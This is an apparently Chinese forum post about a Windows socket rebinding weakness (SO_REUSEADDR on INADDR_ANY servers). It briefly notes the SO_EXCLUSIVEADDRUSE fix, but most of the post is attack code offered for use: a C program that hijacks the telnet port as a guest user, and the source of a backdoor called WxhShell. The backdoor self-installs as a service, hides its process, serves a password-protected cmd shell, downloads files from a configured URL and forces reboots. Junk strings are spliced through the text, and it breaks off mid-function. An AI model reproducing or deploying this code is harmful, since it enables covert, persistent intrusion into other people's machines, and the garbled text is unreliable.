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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rZe"*$e s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OAR1u} U#+S9jWe saddr.sin_family = AF_INET; `l1{BU ,$mnD@) saddr.sin_addr.s_addr = htonl(INADDR_ANY); C!B2.:ja "}Ch2K bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >z
h S,lJ&Rsu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j.sxyW?3 Y1H8+a5@ 这意味着什么?意味着可以进行如下的攻击: a
=*(>= g[44YrRD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L"1UUOKy N/TUcG|m\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B1JdkL 3h 6/wAvPB$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yd`xmc) Zb8Ty~.\P 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 '73dsOTIT n(/(F` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C&,&~^_F
@~U: |h 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {tV)+T d47b&.v8e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OlK3xdg7 IwKhun #include b>hNkVI #include gV):3mWC #include 7;#9\a:R? #include efy65+~GG DWORD WINAPI ClientThread(LPVOID lpParam); LpGplDlB int main() D*o_IrG_( { U>IllNd
WORD wVersionRequested; e Pq(:ih DWORD ret; }BKEz[G( WSADATA wsaData; iN"kv BOOL val; X,IjM&o"Y SOCKADDR_IN saddr; z~L''X7g SOCKADDR_IN scaddr; zu5'Ex`gQa int err; D!h8NZ;El SOCKET s; C~ t?< SOCKET sc; ]iRE^o6 int caddsize; d=o|)kV HANDLE mt; 8B JxD< DWORD tid; +wXrQV
wVersionRequested = MAKEWORD( 2, 2 ); dFS>uIT7X err = WSAStartup( wVersionRequested, &wsaData ); /1F%w8Iqh if ( err != 0 ) { m vO!Y printf("error!WSAStartup failed!\n"); <{bQl
L return -1; K]Q#B|_T } 8>x!n/z) saddr.sin_family = AF_INET; :tp2@*]9Z +D[|L1{xb //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a|SgGtBtT4 [9(tIb!x saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vH%AXzIA saddr.sin_port = htons(23); n$
$^(-g@) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1
0lvhzU { SeN4gr* printf("error!socket failed!\n"); mE'y$5ZxY return -1; lYmqFd~p } 91qk0z`N val = TRUE; <cNXe4( //SO_REUSEADDR选项就是可以实现端口重绑定的 7K,Quq.%+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g6{.C7m { 7zXFQ|TP printf("error!setsockopt failed!\n"); t~ruP',~\ return -1; 4e~^G } 6E/>]3~! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )b`Xc+{> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W^npzgDCo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "X0"=1R~ 'kb5pl~U if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
UhN16|x { ;Pf
|\q ret=GetLastError(); [zv>Wlf,% printf("error!bind failed!\n"); tvXoF;Yq return -1; I$/*Pt]; } ^]l^q'?>: listen(s,2); PPk\W7G while(1) <~;; iM6 { :f%FM&b caddsize = sizeof(scaddr); .Uq?SmK //接受连接请求 5v <>%= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YL-/z4g if(sc!=INVALID_SOCKET) nfpkWyI u{ { E}AOtY5a mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Fd Ezt if(mt==NULL) Atsi}zTR\ { 1{+x >Pv: printf("Thread Creat Failed!\n"); W9n0Jv break; gw~%jD-2 } bHVAa# } (uW/t1 CloseHandle(mt); qcMVY\gi } i; Cs,Esnf closesocket(s); pm$2*!1F( WSACleanup(); L08>9tf` return 0; Y$xO&\&) } jy@vz,/:%5 DWORD WINAPI ClientThread(LPVOID lpParam) D`p&`]k3v { ?~~sOf AP SOCKET ss = (SOCKET)lpParam; 7jvy]5y8&~ SOCKET sc; dv=y,q@W unsigned char buf[4096]; $$ %4,\{l SOCKADDR_IN saddr; Z|;<:RKWY long num; 3ThBy' DWORD val; 4;"^1 $ DWORD ret; r_C|gfIP //如果是隐藏端口应用的话,可以在此处加一些判断 0\v98g<[+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 )006\W|t9 saddr.sin_family = AF_INET; 1Vq]4_09g1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }s)MDq9 saddr.sin_port = htons(23); }$M 2XF if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?#8',: { L9tjHC] printf("error!socket failed!\n"); )E;+C2G return -1; lv
-z[ } N]n]7(e+0C val = 100; [MSLVTR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jVP70c { n]M1'yU ret = GetLastError(); FTM(y CN return -1; / hUuQDJ } zNSix!F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <p@c%e,_ { u] C/RDTH ret = GetLastError(); 5dffFe return -1; Y.I-hl1<r } >55c{|"@L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xml@]N*D#E { 4d&#NP printf("error!socket connect failed!\n"); qz7:jq3N-{ closesocket(sc); <S~_|Y*v closesocket(ss); ^NJ]~h{n$ return -1; _^4\z*x } ?pgdj|"a while(1) eUQ., mP { nb(4"|8} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }* iag\ //如果是嗅探内容的话,可以再此处进行内容分析和记录 H5t 9Mg| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /64jO?mp num = recv(ss,buf,4096,0); W-wy<<~f if(num>0) HZMs],GX send(sc,buf,num,0); ZJ(/cD else if(num==0) SQ#6~zxl break; d
q=>-^o num = recv(sc,buf,4096,0); l@`D;m if(num>0) qh
Ezv~ send(ss,buf,num,0); A^7!:^%K else if(num==0) VlKy6PSIg break; _3$@s{k-TI } s
vn[c* closesocket(ss); 'Z2:u!E closesocket(sc); Li ,B, return 0 ; a2W}Wb+ } 7t-j2 n`< fs4pAB #F Hh @q;0ni ========================================================== K%LDOVE8e H e]1<tx 下边附上一个代码,,WXhSHELL E/cA6*E[.< N/)mw/?i ========================================================== pTq,"}J!+ U
-~%-gFC #include "stdafx.h" GypZ!)1 8xhXS1 #include <stdio.h> E#"QaI8` #include <string.h> \C.%S +u #include <windows.h> 1A^iUC5) #include <winsock2.h> i}
96,{ #include <winsvc.h> P8NKpO\ #include <urlmon.h> >JT{~SRB|Y U`q[5U" #pragma comment (lib, "Ws2_32.lib") ^B@4 w\t #pragma comment (lib, "urlmon.lib") zjgK78!< gd<8RVA #define MAX_USER 100 // 最大客户端连接数 oTZ?x}Z1 #define BUF_SOCK 200 // sock buffer "?,3O2t #define KEY_BUFF 255 // 输入 buffer FD(zj ^* 6QdNGpN #define REBOOT 0 // 重启 O%v(~&OSl #define SHUTDOWN 1 // 关机 ^)N[x''a ^&<~6y}U^ #define DEF_PORT 5000 // 监听端口 .;WJ(kB\U (ohkM`83k #define REG_LEN 16 // 注册表键长度 THHrGvb #define SVC_LEN 80 // NT服务名长度 3(P^PP8 475yX-A // 从dll定义API
N>`+{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rh2pVDS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IWu^a w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i]GBu typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !s,<hU# c5P52_@ // wxhshell配置信息 c?)
pn9 struct WSCFG { 6A M,1 int ws_port; // 监听端口 tYIHsm\b char ws_passstr[REG_LEN]; // 口令 #%VprcEK int ws_autoins; // 安装标记, 1=yes 0=no TUhp char ws_regname[REG_LEN]; // 注册表键名 *pP"u::S char ws_svcname[REG_LEN]; // 服务名 0kgK~\^,.O char ws_svcdisp[SVC_LEN]; // 服务显示名 yp5*8g5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 3M{!yPlj char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rP ;~<IxEr int ws_downexe; // 下载执行标记, 1=yes 0=no (Wr;:3i char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Y^LFJB|b4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8DTk<5mW~ 1W~-C B> }; `.aL>hf F$r8hj` // default Wxhshell configuration 567ot|cc struct WSCFG wscfg={DEF_PORT, y- k?_$M "xuhuanlingzhe", 7^sU/3z 1, WAY<X:|We "Wxhshell", &ukNzV}VW "Wxhshell", Te'^O,C)y$ "WxhShell Service", 1E$Z]5C9 "Wrsky Windows CmdShell Service", xy mK| "Please Input Your Password: ", qU8UKI P 1, VR?7{3 " http://www.wrsky.com/wxhshell.exe", <6<uO\B\ "Wxhshell.exe" w:FH2* }; X1<)B]y Y'fI4 // 消息定义模块 'G(N,vu[@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oE#HI2X char *msg_ws_prompt="\n\r? for help\n\r#>"; P},S[GaZ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %fP^Fh char *msg_ws_ext="\n\rExit."; ~b\7qx_a9 char *msg_ws_end="\n\rQuit."; JoW*)3Z char *msg_ws_boot="\n\rReboot..."; p8s2#+/ char *msg_ws_poff="\n\rShutdown..."; Oi
BK char *msg_ws_down="\n\rSave to "; {\|? {8f u-UUF char *msg_ws_err="\n\rErr!"; ?^BsR char *msg_ws_ok="\n\rOK!"; 1@)]+* F*z gbpm:: char ExeFile[MAX_PATH]; k6JB%m\E int nUser = 0; 8e\a_R*(| HANDLE handles[MAX_USER]; k`g+ int OsIsNt; w2]1ftY v{
C]\8 SERVICE_STATUS serviceStatus; QN_5q5 SERVICE_STATUS_HANDLE hServiceStatusHandle; V EY !0PIj @mP@~ // 函数声明 /l(:H int Install(void); q,nj|9z V int Uninstall(void); gEKJrAA int DownloadFile(char *sURL, SOCKET wsh); }/c.>U int Boot(int flag); P05_\
t void HideProc(void); |Q9S$l] int GetOsVer(void); Jr17pu(t int Wxhshell(SOCKET wsl); aS~k.^N void TalkWithClient(void *cs); %J.Rm0FD: int CmdShell(SOCKET sock); 5mSXf"R^ int StartFromService(void); wT*N{). int StartWxhshell(LPSTR lpCmdLine); tHoFnPd\| pvmm" f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z*yN*M6t VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;k
b^mJE h(/|` // 数据结构和表定义 ](MXP,R SERVICE_TABLE_ENTRY DispatchTable[] = 7h&xfrSrD { fvit+ {wscfg.ws_svcname, NTServiceMain},
dUO~dV1 {NULL, NULL} EzNmsbtZ( }; hNx`=D9[7 d0-}Xl // 自我安装 pbqa int Install(void) =1yUH9\,b { BOwkC;Q[ char svExeFile[MAX_PATH]; ~Ag!wj HKEY key; Q]6nW[@j' strcpy(svExeFile,ExeFile); 8(3vNuyP Kjz,p^Y\ // 如果是win9x系统,修改注册表设为自启动 $ya#-pi`; if(!OsIsNt) { {g/\5Z\b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `dL9sfj> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E/U1g4S RegCloseKey(key); t:=Ui/!q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nq*\{rb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0w+hf3K+: RegCloseKey(key); c"O\fX return 0; L7D'wf } g"T~)SQP } ?Fi-,4 } @Wx_4LOhf else { dDpe$N N#,4BU // 如果是NT以上系统,安装为系统服务 ORtl~V' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |qI_9#M\( if (schSCManager!=0) m7M*)N8 { WX0@H[$i# SC_HANDLE schService = CreateService y~-? ( W
8E<P y schSCManager, #mllVQ wscfg.ws_svcname, vjXvjv{t wscfg.ws_svcdisp, ir]u FOj SERVICE_ALL_ACCESS, R4IFl
z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
xY!]eLZ)& SERVICE_AUTO_START, 3I"&Qp%2 SERVICE_ERROR_NORMAL, -CL7^ svExeFile, '|FM|0~-J NULL, c7iu[vE'+ NULL, J=\Y 4- " NULL, E0)v;yRcw NULL, ie$=3nZJ} NULL ~!:F'}bj ); m2_&rjGz if (schService!=0) ^1Yx'ua' { JWn9&WK CloseServiceHandle(schService); ;Rnb^t6Z CloseServiceHandle(schSCManager); CS"p[-0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &UzZE17R strcat(svExeFile,wscfg.ws_svcname); {g @
*jo& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @'}X&TN<a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z&.FJZUP RegCloseKey(key); *E$D, return 0; zZf#E@=$| } !o.g2 }
Tl=vgs1 CloseServiceHandle(schSCManager); 2}}~\C}o+ } $iP#8La:Y } ZnJnjW PQ n:#ji|wM return 1; Mb<KZ_wYOX } QPFpGS{d !4 hs9b // 自我卸载 @x=CMF15 int Uninstall(void) "n8_Ag@r { ;l`8w3fDt HKEY key; u@gYEx} =vK (-h if(!OsIsNt) { T.(SBP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xE)pj| RegDeleteValue(key,wscfg.ws_regname); o<g (%ncr RegCloseKey(key); )E4COw+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <=7p~
i5 RegDeleteValue(key,wscfg.ws_regname); R/b=!< RegCloseKey(key); D:F!;n9 return 0; AVcZ.+? } SU#|&_wtr! } { j/w3 } t 1&p>
v else { ar^`r!ABEh $K,aLcu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f
a\cLC if (schSCManager!=0) fe0 Y^vW { d@w
I:
7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yb6\+}th if (schService!=0) 6C3y+@9 { #|e<l1 F if(DeleteService(schService)!=0) { F;_;lRAb CloseServiceHandle(schService); #15q`w CloseServiceHandle(schSCManager); [wu%t8O2 return 0; %2L9kw' } }BfwMq4E)n CloseServiceHandle(schService); aSK$#Xeu } S`l CynGH CloseServiceHandle(schSCManager); 9<YB&:< } )8k6GO8| } p5[uVRZ -!}1{ return 1; /0\pPc*kA{ } (&gCVf !l\pwfXP&% // 从指定url下载文件 UbYKiLDF) int DownloadFile(char *sURL, SOCKET wsh) Mr1pRIYMd { HwGtLeB" HRESULT hr; jxoEOEA char seps[]= "/"; 9z-"JnM char *token; pTN_6=Y" char *file; zCQv:.0L char myURL[MAX_PATH]; TxiJ?sDh* char myFILE[MAX_PATH]; eU12*( )l"0:1I g strcpy(myURL,sURL); S4(IYnwN token=strtok(myURL,seps); S_QDYnF)` while(token!=NULL) t^[{8,N { I&vB\A file=token; ~kHir]jc token=strtok(NULL,seps); ;zOZu~Q|' } Qz<-xe`o8] Hc+<(g GetCurrentDirectory(MAX_PATH,myFILE); S2NsqHJr strcat(myFILE, "\\"); YW'Y=* strcat(myFILE, file); _9-Ajv send(wsh,myFILE,strlen(myFILE),0); ]I]dwi_g) send(wsh,"...",3,0); _<~05Eh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :{AN@zC0\ if(hr==S_OK) hlVP_h"z return 0; K
l4", else 0hv[Ff return 1; Z/I!\ eGE%c1H9a } %z.G3\s0 %z2nas$$g // 系统电源模块 F+6ZD5/ int Boot(int flag) p!691LI { O3_Mrn(R HANDLE hToken; !of7]s TOKEN_PRIVILEGES tkp;
jab]!eY
V|D;7 if(OsIsNt) { y#MLxm OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V4"AFArI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u,pm\ tkp.PrivilegeCount = 1; h}oQr0"c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ::R^ w" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @N(jd($E if(flag==REBOOT) { %MIu;u FR if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =MXF`k^} return 0; Cse0!7_T } l&rDa=m.J else { xvkof
'Q) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0g+@WK6y return 0; UtutdkaS } dnx}c4P } GGBe/X else { I*ej_cFQ^ if(flag==REBOOT) { }n.h)Oz if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pta%%8": return 0; |Bn=$T] } *Z]|
Z4Q/` else { S ~_% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5A)w.i&V return 0; GBQb({ } `%=Jsi0.Nq } bXW)n<y J.&q[ return 1; EK'&S=] } MJb = +L 5bw]cv$i // win9x进程隐藏模块 T/K.'92S void HideProc(void) $i1A470C { zm:=d>D.. UVLcR HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =?lT&|" if ( hKernel != NULL ) y"hM6JI { MT5A%|H e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I%&9`ceWY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xo%iL FreeLibrary(hKernel); PHXP1)^}S } t2:c@) G225Nz;Y* return; <8bO1t^* } ~
/[Cgh0 CvW((<? // 获取操作系统版本 +wSm6*j7= int GetOsVer(void) GlZ9k-ZRF { [E^X=+Jnz OSVERSIONINFO winfo; g-^m\>B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KCu6:)6' GetVersionEx(&winfo); ^ZlV1G;/W@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rf^cw}jU return 1; nsp K.*? else 8.^U6xA return 0; ;?!rpj } kziBHis! a(~YrA%~ // 客户端句柄模块 u
s0'7|{q int Wxhshell(SOCKET wsl) =tNiIU { c 2@@Rd~M SOCKET wsh; ##_Za6/n struct sockaddr_in client; C]H <L#)ZU DWORD myID; 9vTQ^*bm 8_m9CQ6 i while(nUser<MAX_USER) tb{{oxa,k { QT$1D[> int nSize=sizeof(client); jq]"6/xxb wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GN9_ZlC if(wsh==INVALID_SOCKET) return 1; 9/M!S[N9 ?>8zU;Aj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eh>E). if(handles[nUser]==0) )r i3ds closesocket(wsh); 713M4CtJ else C6M/$_l&a nUser++; `.W;ptZ6 } DxgT]F% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gL"}5 3A `Cf
en8 return 0; Y/66`&,{ } +I n"OR% g)A0PvEu // 关闭 socket fB96Q void CloseIt(SOCKET wsh) Q/n.T0Z^ { I
6YT|R closesocket(wsh); Bqi2n'^O2 nUser--; *`-29eR"8 ExitThread(0); zjS:;!8em } cmU+VZ#pk } XU:DE // 客户端请求句柄 kV3j}C" void TalkWithClient(void *cs) uW~,H}E { x2sOEkcQ UMwMXmZNJ SOCKET wsh=(SOCKET)cs; ~ p.W*skD char pwd[SVC_LEN]; k#5e:VOb char cmd[KEY_BUFF]; t)Q@sKT6 char chr[1]; ('-}"3 int i,j; X9A[
|a$w;s>\ while (nUser < MAX_USER) { <57l|}8 'F?Znd2L if(wscfg.ws_passstr) { !s*''v* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0r ;
nz]' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eJGos!>* //ZeroMemory(pwd,KEY_BUFF); jgKL88J*\ i=0; ].P(/~FS9 while(i<SVC_LEN) { }l?_Cfvu U<Y'.! // 设置超时 5b`xN!c fd_set FdRead; )v{41sM+ struct timeval TimeOut; -xu.=n@, FD_ZERO(&FdRead); R(83E
B~_ FD_SET(wsh,&FdRead); nvK7*- TimeOut.tv_sec=8; /)?P>!#;\ TimeOut.tv_usec=0; K_|~3g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yLO
&(Mb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :@`(}5F4 ;u};&sm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E9B*K2l^{ pwd =chr[0]; ;3}EBcw) if(chr[0]==0xd || chr[0]==0xa) { H
L|spl(c pwd=0; ? < O break; T5jG IIa } `vxrC&,As i++; kqvJ&7 } P"uHtHK 8H#c4%by) // 如果是非法用户,关闭 socket fk7Cf"[w if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NZC='3Uz } N3yB1_ Y`7#[g send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #!Cter2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #G+ -Bo~"q while(1) { ,Q=)$ `% Eh@T W%9* ZeroMemory(cmd,KEY_BUFF); k\c &2T]W EcU'* // 自动支持客户端 telnet标准 -iDEh_pts j=0; b({Nf,(a2
while(j<KEY_BUFF) { RD$tc~@UB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CxA\yG3L& cmd[j]=chr[0]; 7vpN6YP if(chr[0]==0xa || chr[0]==0xd) { -j`!(IJ cmd[j]=0; hHc^ZA break; RQpIBsj } 2WPF{y%/ j++; i$JG^6,O } a][pTC\ rb W-!Bl&jF[ // 下载文件 rbK#a)7 if(strstr(cmd,"http://")) { |aS~"lImh send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cj !i)- if(DownloadFile(cmd,wsh)) <duBwkiG send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|[sYo else mfngbFa1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |J<pLz } ~1=.?Ho else { ?z@v3(b[ ;o)=XEh8P switch(cmd[0]) { ]]uzl0LH >C:"$x2"#( // 帮助 Z;fm;X%4 case '?': { @4_rx u& send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yC'hwoQ` break; V%BJNJ } 5]H))}9>d // 安装 l$-=Pqb case 'i': { xxoHH#a if(Install()) ;5D@kS^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); i.&Kpw9;m else XSp x''l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H-_^TB break; D/S>w(= } M9Nk=s! 3 // 卸载 qIDWl{b< case 'r': {
{b|3]_-/ if(Uninstall()) yE.495 send(wsh,msg_ws_err,strlen(msg_ws_err),0); )l#%.Z9 else \ W
'i0+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CGd[3}" break; GJC!0{8; } *(d6Z# // 显示 wxhshell 所在路径 OS4]Y case 'p': { `;5VH ]V char svExeFile[MAX_PATH]; "%oH@
= strcpy(svExeFile,"\n\r"); _K0izKTA. strcat(svExeFile,ExeFile); HPtTv}l send(wsh,svExeFile,strlen(svExeFile),0); "Ju/[#VCJ break; k5aa>6K } !F+|Y"c // 重启 U|Bsa(?nx case 'b': { T_@[k send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p.rdSv(8' if(Boot(REBOOT)) mUrS&&fu8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?iPZsV else { c~gNH%1XN closesocket(wsh); 1V|< A ExitThread(0); ( zn_8s } n|70x5Z?}J break; $` Z>Lm* } S'Z70 zJ // 关机 dGbU{#"3s case 'd': { DKy>]Hca send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~\IF9! if(Boot(SHUTDOWN)) $ \Q<K@{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^))PCn_zb else { u}K5/hC closesocket(wsh); 35Ai;mU' ExitThread(0); je&dioZ> } !,cQ'*<W8- break; Z/2,al\ } 3]O`[P,*% // 获取shell IL~]m?'V( case 's': { @sc8}"J]# CmdShell(wsh); <i\UMrD]`: closesocket(wsh); ?^%YRB& ExitThread(0); k$e D(cW$ break; 81GQijq } >_;kT y, // 退出 6gj]y^} case 'x': { )KSisEL send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :/o C:z\h CloseIt(wsh); { 1+Cw?1d break; z.eJEK } 3R5K}ZBi% // 离开 *j|/2+pq case 'q': { iYk':iv}S send(wsh,msg_ws_end,strlen(msg_ws_end),0); UWQtvQ
f closesocket(wsh); ;[(=kOI WSACleanup(); i&'#+f4t exit(1); zP_ ] break; \hs/D+MCk } YV5Yx-+3w$ } l6iw=b[? } 8)L'rW{q# EzR%w*F>Q // 提示信息 B$cOssl if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?qju
DD } d{er|$E? } B4`2.yRis R=!kbBK>\ return; Q;4}gUmI$ } FoE|Js xDR9_ // shell模块句柄 60xa?8<cg int CmdShell(SOCKET sock) nN>J*02( {
%b=Y
<v STARTUPINFO si; `_|aeoK_ ZeroMemory(&si,sizeof(si)); L
;6b+I si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T!MZ+Ph`F si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d; 9*l!CF PROCESS_INFORMATION ProcessInfo; iJFr4o/R char cmdline[]="cmd"; YTQ5sFuGM CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j]rXoV> return 0; /+>)"D6' } ZTN(irK &|)hCJu // 自身启动模式 he"L*p*H int StartFromService(void) O/mR9[} { e"]"F{Q typedef struct Eu|sWdmf
l { TI}}1ScA' DWORD ExitStatus; {S G* DWORD PebBaseAddress; 2;8Xz6T DWORD AffinityMask; $30oc
Tt{ DWORD BasePriority; W7t
